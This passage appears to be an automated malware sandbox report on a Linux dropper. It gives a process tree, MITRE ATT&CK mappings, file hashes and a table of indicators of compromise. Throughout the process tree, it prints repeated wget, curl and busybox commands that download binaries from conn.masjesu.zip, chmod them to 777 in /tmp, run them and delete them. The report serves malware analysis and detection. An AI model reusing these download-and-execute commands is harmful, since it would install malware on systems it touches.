- /tmp/qv0tX9FcnGtVqjVWLmoeg9SIYdZu8VdiVB
  ./qv0tX9FcnGtVqjVWLmoeg9SIYdZu8VdiVB
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm qv0tX9FcnGtVqjVWLmoeg9SIYdZu8VdiVB
  2⤵
  PID:970
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/nYJpYAgWTpOE15cnd9Pa1SxJYuG5bXcpPU
  2⤵
  PID:971
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/nYJpYAgWTpOE15cnd9Pa1SxJYuG5bXcpPU
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:972
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/nYJpYAgWTpOE15cnd9Pa1SxJYuG5bXcpPU
  2⤵
  PID:974
- /bin/chmod
  chmod 777 nYJpYAgWTpOE15cnd9Pa1SxJYuG5bXcpPU
  2⤵
  - File and Directory Permissions Modification
  PID:975
- /tmp/nYJpYAgWTpOE15cnd9Pa1SxJYuG5bXcpPU
  ./nYJpYAgWTpOE15cnd9Pa1SxJYuG5bXcpPU
  2⤵
  - Executes dropped EXE
  PID:976
- /bin/rm
  rm nYJpYAgWTpOE15cnd9Pa1SxJYuG5bXcpPU
  2⤵
  PID:977
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hKz2LitcnGWzr1gjrcvXRb5CyhoBufn19P
  2⤵
  PID:978
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hKz2LitcnGWzr1gjrcvXRb5CyhoBufn19P
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:979
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hKz2LitcnGWzr1gjrcvXRb5CyhoBufn19P
  2⤵
  - System Network Configuration Discovery
  PID:981
- /bin/chmod
  chmod 777 hKz2LitcnGWzr1gjrcvXRb5CyhoBufn19P
  2⤵
  - File and Directory Permissions Modification
  PID:982
- /tmp/hKz2LitcnGWzr1gjrcvXRb5CyhoBufn19P
  ./hKz2LitcnGWzr1gjrcvXRb5CyhoBufn19P
  2⤵
  - Executes dropped EXE
  PID:983
- /bin/rm
  rm hKz2LitcnGWzr1gjrcvXRb5CyhoBufn19P
  2⤵
  PID:984
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/XKYio3dxBehhW35Lqxt3kar3hJuCBoqu6r
  2⤵
  - System Network Configuration Discovery
  PID:985
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/XKYio3dxBehhW35Lqxt3kar3hJuCBoqu6r
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:986
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/XKYio3dxBehhW35Lqxt3kar3hJuCBoqu6r
  2⤵
  - System Network Configuration Discovery
  PID:988
- /bin/chmod
  chmod 777 XKYio3dxBehhW35Lqxt3kar3hJuCBoqu6r
  2⤵
  - File and Directory Permissions Modification
  PID:989
- /tmp/XKYio3dxBehhW35Lqxt3kar3hJuCBoqu6r
  ./XKYio3dxBehhW35Lqxt3kar3hJuCBoqu6r
  2⤵
  - Executes dropped EXE
  PID:990
- /bin/rm
  rm XKYio3dxBehhW35Lqxt3kar3hJuCBoqu6r
  2⤵
  PID:991
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9GVBk5bk4Ei27UkPk2Y5I8FOxr8Jycidt6
  2⤵
  - System Network Configuration Discovery
  PID:992
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9GVBk5bk4Ei27UkPk2Y5I8FOxr8Jycidt6
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:993
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9GVBk5bk4Ei27UkPk2Y5I8FOxr8Jycidt6
  2⤵
  - System Network Configuration Discovery
  PID:995
- /bin/chmod
  chmod 777 9GVBk5bk4Ei27UkPk2Y5I8FOxr8Jycidt6
  2⤵
  - File and Directory Permissions Modification
  PID:996
- /tmp/9GVBk5bk4Ei27UkPk2Y5I8FOxr8Jycidt6
  ./9GVBk5bk4Ei27UkPk2Y5I8FOxr8Jycidt6
  2⤵
  - Executes dropped EXE
  PID:997
- /bin/rm
  rm 9GVBk5bk4Ei27UkPk2Y5I8FOxr8Jycidt6
  2⤵
  PID:998
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7sUFzEmDoIrav2c59y7QFdxcxcx5382rgX
  2⤵
  - System Network Configuration Discovery
  PID:999
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7sUFzEmDoIrav2c59y7QFdxcxcx5382rgX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1000
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7sUFzEmDoIrav2c59y7QFdxcxcx5382rgX
  2⤵
  - System Network Configuration Discovery
  PID:1002
- /bin/chmod
  chmod 777 7sUFzEmDoIrav2c59y7QFdxcxcx5382rgX
  2⤵
  - File and Directory Permissions Modification
  PID:1003
- /tmp/7sUFzEmDoIrav2c59y7QFdxcxcx5382rgX
  ./7sUFzEmDoIrav2c59y7QFdxcxcx5382rgX
  2⤵
  - Executes dropped EXE
  PID:1004
- /bin/rm
  rm 7sUFzEmDoIrav2c59y7QFdxcxcx5382rgX
  2⤵
  PID:1005
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vYdnEqFhJpSQHzOw2wqpFH9oDlwRJvzHF9
  2⤵
  - System Network Configuration Discovery
  PID:1006
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vYdnEqFhJpSQHzOw2wqpFH9oDlwRJvzHF9
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1007
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vYdnEqFhJpSQHzOw2wqpFH9oDlwRJvzHF9
  2⤵
  - System Network Configuration Discovery
  PID:1009
- /bin/chmod
  chmod 777 vYdnEqFhJpSQHzOw2wqpFH9oDlwRJvzHF9
  2⤵
  - File and Directory Permissions Modification
  PID:1010
- /tmp/vYdnEqFhJpSQHzOw2wqpFH9oDlwRJvzHF9
  ./vYdnEqFhJpSQHzOw2wqpFH9oDlwRJvzHF9
  2⤵
  - Executes dropped EXE
  PID:1011
- /bin/rm
  rm vYdnEqFhJpSQHzOw2wqpFH9oDlwRJvzHF9
  2⤵
  PID:1012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L

Path /tmp/MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L	744	MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
/tmp/CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy	751	CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
/tmp/xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl	785	xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl
/tmp/x8o3CjvM9Ty8RiQZjqDwfIgCjQM7vJbhK9	810	x8o3CjvM9Ty8RiQZjqDwfIgCjQM7vJbhK9
/tmp/80RxJeLNVfRHPuV6GtpuoDtasJ4VS1DU8R	817	80RxJeLNVfRHPuV6GtpuoDtasJ4VS1DU8R
/tmp/tiD2wE0aRYLWj4BHP5HTdulgalULuMMG7i	834	tiD2wE0aRYLWj4BHP5HTdulgalULuMMG7i
/tmp/t2jg3vsvzC8RZPRBCYPbkdQIWEIoSG59DJ	864	t2jg3vsvzC8RZPRBCYPbkdQIWEIoSG59DJ
/tmp/hKz2LitcnGWzr1gjrcvXRb5CyhoBufn19P	871	hKz2LitcnGWzr1gjrcvXRb5CyhoBufn19P
/tmp/XKYio3dxBehhW35Lqxt3kar3hJuCBoqu6r	878	XKYio3dxBehhW35Lqxt3kar3hJuCBoqu6r
/tmp/qv0tX9FcnGtVqjVWLmoeg9SIYdZu8VdiVB	885	qv0tX9FcnGtVqjVWLmoeg9SIYdZu8VdiVB
/tmp/nYJpYAgWTpOE15cnd9Pa1SxJYuG5bXcpPU	892	nYJpYAgWTpOE15cnd9Pa1SxJYuG5bXcpPU
/tmp/7sUFzEmDoIrav2c59y7QFdxcxcx5382rgX	899	7sUFzEmDoIrav2c59y7QFdxcxcx5382rgX
/tmp/vYdnEqFhJpSQHzOw2wqpFH9oDlwRJvzHF9	906	vYdnEqFhJpSQHzOw2wqpFH9oDlwRJvzHF9
/tmp/9GVBk5bk4Ei27UkPk2Y5I8FOxr8Jycidt6	913	9GVBk5bk4Ei27UkPk2Y5I8FOxr8Jycidt6
/tmp/MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L	920	MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
/tmp/CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy	927	CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
/tmp/80RxJeLNVfRHPuV6GtpuoDtasJ4VS1DU8R	934	80RxJeLNVfRHPuV6GtpuoDtasJ4VS1DU8R
/tmp/tiD2wE0aRYLWj4BHP5HTdulgalULuMMG7i	941	tiD2wE0aRYLWj4BHP5HTdulgalULuMMG7i
/tmp/t2jg3vsvzC8RZPRBCYPbkdQIWEIoSG59DJ	948	t2jg3vsvzC8RZPRBCYPbkdQIWEIoSG59DJ
/tmp/xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl	955	xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl
/tmp/x8o3CjvM9Ty8RiQZjqDwfIgCjQM7vJbhK9	962	x8o3CjvM9Ty8RiQZjqDwfIgCjQM7vJbhK9
/tmp/qv0tX9FcnGtVqjVWLmoeg9SIYdZu8VdiVB	969	qv0tX9FcnGtVqjVWLmoeg9SIYdZu8VdiVB
/tmp/nYJpYAgWTpOE15cnd9Pa1SxJYuG5bXcpPU	976	nYJpYAgWTpOE15cnd9Pa1SxJYuG5bXcpPU
/tmp/hKz2LitcnGWzr1gjrcvXRb5CyhoBufn19P	983	hKz2LitcnGWzr1gjrcvXRb5CyhoBufn19P
/tmp/XKYio3dxBehhW35Lqxt3kar3hJuCBoqu6r	990	XKYio3dxBehhW35Lqxt3kar3hJuCBoqu6r
/tmp/9GVBk5bk4Ei27UkPk2Y5I8FOxr8Jycidt6	997	9GVBk5bk4Ei27UkPk2Y5I8FOxr8Jycidt6
/tmp/7sUFzEmDoIrav2c59y7QFdxcxcx5382rgX	1004	7sUFzEmDoIrav2c59y7QFdxcxcx5382rgX
/tmp/vYdnEqFhJpSQHzOw2wqpFH9oDlwRJvzHF9	1011	vYdnEqFhJpSQHzOw2wqpFH9oDlwRJvzHF9